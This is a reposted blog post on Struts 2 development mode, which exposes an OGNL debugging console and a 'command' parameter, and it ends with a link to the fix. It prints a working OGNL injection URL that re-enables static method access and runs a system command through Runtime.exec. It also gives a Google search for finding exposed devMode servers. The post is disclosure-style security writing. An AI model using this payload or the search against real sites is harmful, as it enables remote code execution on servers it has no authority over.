Struts2最新OGNL漏洞

There are many Struts 2 developers familiar with the Struts 2 development mode on which more verbose logs are produced and handy resource reloading is done on a request basis to avoid restarting the server every time we change a property, validator and so on. What it is not so well known (actually it doesn’t even appear in the Struts 2 devmode site) is that it enables a OGNL injection backdoor allowing the developers to check their Value Stacks with ease and from a handy OGNL console or request parameter. This handy feature for developers turns into a security nightmare if application is released into production servers with this flag on.

If we look at the “debugging” page, we can find some info on how it works. It enables the debugging interceptor which brings us some interesting commands:

  • xml: Dumps the parameters, context, session, and value stack as an XML document.

  • console: Shows a popup ‘OGNL Console’ that allows the user to test OGNL expressions against the value stack. The XML data from the ‘xml’ mode is inserted at the top of the page.

26212637_tq8D.png

  • command: Tests an OGNL expression and returns the string result. Only used by the OGNL console.

  • browser: Shows field values of an object specified in the object parameter (#context by default). When the object parameters is set, the ‘#’ character needs to be escaped to ‘%23’. Like debug=browser&object=%23parameters

26212638_QFN2.png

So we can abuse this feature to run our arbitrary commands by loading the following page:


http://vulnserver.com/some.action?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29,%23f.setAccessible%28true%29,%23f.set%28%23_memberAccess,true%29,@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Calculator.app/Contents/MacOS/Calculator%27%29

Note that this will work even with the latest Struts 2 version (where “allowStaticMethodAccess” is immutable) using the payload explained in this previous post

Now, you may be wondering who releases its applications in devmode? Go, check it yourself:


https://www.google.com/search?q=intitle%3A%22Struts+Problem+Report%22+%22You+are+seeing+this+page+because+development+mode+is+enabled.%22

So, don’t forget to disable devmode before releasing your applications to production.

关于此漏洞的修复方案,可参考如下:

http://struts.apache.org/release/2.3.x/docs/devmode.html

via

转载于:https://my.oschina.net/u/1188877/blog/196240

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值